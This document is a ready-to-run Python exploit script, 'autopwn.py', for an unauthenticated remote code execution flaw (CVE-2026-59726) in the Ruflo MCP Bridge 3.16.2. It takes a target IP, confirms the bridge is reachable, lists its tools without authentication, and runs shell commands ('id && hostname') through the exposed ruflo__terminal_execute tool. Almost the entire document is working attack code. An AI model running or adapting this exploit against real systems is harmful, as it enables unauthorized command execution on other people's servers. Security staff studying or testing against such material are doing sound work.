Ruflo MCP Bridge 3.16.2 - Remote Code Execution

#!/usr/bin/env python3
# =============================================================================
# autopwn.py
#  (RufRoot): Unauthenticated RCE in the Ruflo MCP Bridge
# =============================================================================
# Usage: python3 autopwn.py <target_ip>
# Example: python3 autopwn.py 192.168.x.x
# =============================================================================

import sys
import json
import socket
import subprocess
import tempfile
import os
import time
import base64
import urllib.request
import urllib.error

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
MCP_PORT    = 3001
LPORT       = 4444
TIMEOUT     = 10

RED    = "\033[0;31m"
GREEN  = "\033[0;32m"
YELLOW = "\033[1;33m"
BLUE   = "\033[0;34m"
NC     = "\033[0m"

def log(msg):  print(f"{GREEN}[+]{NC} {msg}")
def info(msg): print(f"{BLUE}[*]{NC} {msg}")
def warn(msg): print(f"{YELLOW}[!]{NC} {msg}")
def fail(msg): print(f"{RED}[-]{NC} {msg}"); sys.exit(1)

# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def mcp_call(target, endpoint, method, params=None):
    """Send a JSON-RPC 2.0 request to the MCP bridge."""
    url = f"http://{target}:{MCP_PORT}{endpoint}"
    payload = json.dumps({
        "jsonrpc": "2.0",
        "id": 1,
        "method": method,
        "params": params or {}
    }).encode()
    req = urllib.request.Request(
        url,
        data=payload,
        headers={
            "Content-Type": "application/json",
            "Accept": "application/json, text/event-stream",
        },
        method="POST"
    )
    try:
        with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
            return json.loads(resp.read().decode())
    except urllib.error.URLError as e:
        fail(f"Request to {url} failed: {e}")

def rce(target, command):
    """Execute a command via ruflo__terminal_execute."""
    resp = mcp_call(target, "/mcp/devtools", "tools/call", {
        "name": "ruflo__terminal_execute",
        "arguments": {"command": command}
    })
    try:
        # The bridge returns JSON inside a text field inside JSON
        # Outer: resp["result"]["content"][0]["text"] -> JSON string
        # Inner: that JSON string has another "content" array
        outer_text = resp["result"]["content"][0]["text"]
        middle = json.loads(outer_text)
        # middle is {"content": [{"type": "text", "text": "{...}"}]}
        inner_text = middle["content"][0]["text"]
        inner = json.loads(inner_text)
        return inner.get("output", "").strip()
    except Exception:
        # Fallback: return whatever we got as string
        return str(resp)

def get_local_ip():
    """Get the local IP that can reach the target."""
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect(("8.8.8.8", 80))
        return s.getsockname()[0]
    finally:
        s.close()

# ---------------------------------------------------------------------------
# Banner
# ---------------------------------------------------------------------------
def banner():
    print(f"{BLUE}")
    print("  ==================================================")
    print("   autopwn - CVE-2026-59726 (RufRoot)")
    print("   Unauthenticated RCE in the Ruflo MCP Bridge")
    print("  ==================================================")
    print(f"{NC}")
    print()

# ---------------------------------------------------------------------------
# Steps
# ---------------------------------------------------------------------------
def step1_check_bridge(target):
    info("Step 1/3 - Checking MCP bridge reachability...")
    try:
        resp = urllib.request.urlopen(
            f"http://{target}:{MCP_PORT}/health", timeout=TIMEOUT
        )
        data = json.loads(resp.read().decode())
        assert data.get("service") == "mcp-bridge"
        log(f"Bridge is up: {data['service']} v{data['version']} "
            f"({data['tools']['total']} tools)")
    except Exception as e:
        fail(f"Bridge not reachable: {e}")

def step2_verify_unauth(target):
    info("Step 2/3 - Verifying unauthenticated tools/list...")
    resp = mcp_call(target, "/mcp/devtools", "tools/list")
    tools = [t["name"] for t in resp.get("result", {}).get("tools", [])]
    if "ruflo__terminal_execute" not in tools:
        fail("ruflo__terminal_execute not found in tools/list")
    log(f"tools/list returned {len(tools)} tools without authentication")
    log("ruflo__terminal_execute is present (CWE-306 confirmed)")

def step3_rce(target):
    info("Step 3/3 - Confirming RCE via ruflo__terminal_execute...")
    output = rce(target, "id && hostname")
    if "uid=" not in output:
        fail(f"RCE did not return expected output: {output}")
    log(f"RCE confirmed: {output.split(chr(10))[0]}")

# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
    banner()

    if len(sys.argv) != 2:
        print(f"Usage: python3 autopwn.py <target_ip>")
        sys.exit(1)

    target = sys.argv[1]
    info(f"Target : {target}:{MCP_PORT}")
    info(f"CVE    : CVE-2026-59726 (Ruflo MCP Bridge, pre-3.16.3)")
    print()

    step1_check_bridge(target)
    step2_verify_unauth(target)
    step3_rce(target)

if __name__ == "__main__":
    main()